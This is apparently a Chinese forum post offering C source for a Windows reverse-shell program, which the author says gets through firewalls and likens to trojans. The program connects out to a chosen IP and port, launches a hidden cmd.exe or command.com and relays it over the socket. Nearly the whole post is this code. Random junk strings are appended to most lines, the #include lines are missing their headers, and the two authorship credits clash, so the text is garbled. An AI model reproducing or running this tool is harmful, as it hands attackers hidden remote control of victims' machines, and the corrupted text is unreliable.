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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H$z+gbjJ  
#DRt Mrfat  
/* ============================== 2P=~3g*  
Rebound port in Windows NT ;F(01  
By wind,2006/7 u R%R]X  
===============================*/ }0nB' 0|y  
#include l(#Y8  
#include %y\7  
nJ#@W b@  
#pragma comment(lib,"wsock32.lib") ,L:)ZZgN  
h_G7T1;L  
void OutputShell(); yaXa8v'oC  
SOCKET sClient; F}.TT =((8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V dOd:w  
$q$\GOQ 9  
void main(int argc,char **argv) . _t,OX$  
{ jTgh+j]AP  
WSADATA stWsaData; ; <@O^_+  
int nRet; X$&Sw3c  
SOCKADDR_IN stSaiClient,stSaiServer; *B<I><'G  
~+nSI-L  
if(argc != 3) *3 8Y;{ 4  
{ v 4b`19}  
printf("Useage:\n\rRebound DestIP DestPort\n"); -*l[:5m  
return; [=1?CD  
} #*M$,ig  
RS02>$jo  
WSAStartup(MAKEWORD(2,2),&stWsaData); vEp8Hc  
oNsx Fi:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P W<wjf,rQ  
cRr `r[t  
stSaiClient.sin_family = AF_INET; g):jZU]b  
stSaiClient.sin_port = htons(0); (a!,)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D"f(nVEr  
. mrRv8>$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "wC5hj]  
{ E d/O\v@  
printf("Bind Socket Failed!\n"); _NnO mwK7  
return; H 7F~+ Q-}  
} lFV|GJ  
g uWqHVSs  
stSaiServer.sin_family = AF_INET; 0_pwY=P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !jq6cND  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3D dG$@  
^ED>{UiNI  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^Jc0c)*  
{ 6b01xu(A[  
printf("Connect Error!"); Y1+lk^  
return; =xet+;~ji  
} ^ 6|"=+cO\  
OutputShell(); \)uad5`N  
} w|o@r%Q#l  
1AV1W_"  
void OutputShell() ^v5hr>m  
{ r8 >?-P  
char szBuff[1024]; 5g2+Ar(  
SECURITY_ATTRIBUTES stSecurityAttributes; 1H 6Wrik  
OSVERSIONINFO stOsversionInfo; }jgAV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aKtTx~$@  
STARTUPINFO stStartupInfo; p&l:937  
char *szShell; k $&A  
PROCESS_INFORMATION stProcessInformation; deY<+!  
unsigned long lBytesRead; 2A ,36,  
BVp.A]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K3D $ hb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {Dq51  
stSecurityAttributes.lpSecurityDescriptor = 0; L1 VTq9[3  
stSecurityAttributes.bInheritHandle = TRUE; <!>}t a  
%~2m$#)  
^v|!(h\ZC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  Vp^sER  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H,~In2Z  
5&@U T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vJUB;hD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NmF2E+'  
stStartupInfo.wShowWindow = SW_HIDE; Z+4Oa f!  
stStartupInfo.hStdInput = hReadPipe;  Z5-'|h$|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t O>qd#I  
Lpf=VyqC  
GetVersionEx(&stOsversionInfo); ?EAqv]  
(Z +C  
switch(stOsversionInfo.dwPlatformId) ,SwaDWNO  
{ dD<kNa}2  
case 1: IpmREl $j  
szShell = "command.com"; h8Si,W 3o  
break; b7j#a#  
default: lGhUfhk  
szShell = "cmd.exe"; 9Wrcl ai  
break; 9 <m j@bI$  
} GqxK|G1  
?%ntO]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x=N;>  
@R{&>Q:.  
send(sClient,szMsg,77,0); P[i/o#  
while(1) ix`xdVj`  
{ nHjwT5Q+Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R"([Y#>m  
if(lBytesRead) 0u\@-np  
{ $7YLU{0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6^Vf 5W{  
send(sClient,szBuff,lBytesRead,0); ;A!i V |  
} rzLl M  
else miSC'!  
{ 3 2D/%dHC  
lBytesRead=recv(sClient,szBuff,1024,0); /p"R}&z  
if(lBytesRead<=0) break; RA/yvr  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r |/9Dn%  
} r+u\jZ  
} h zE)>f  
(5&"Y?#o,  
return; _P1-d`b0 a  
}
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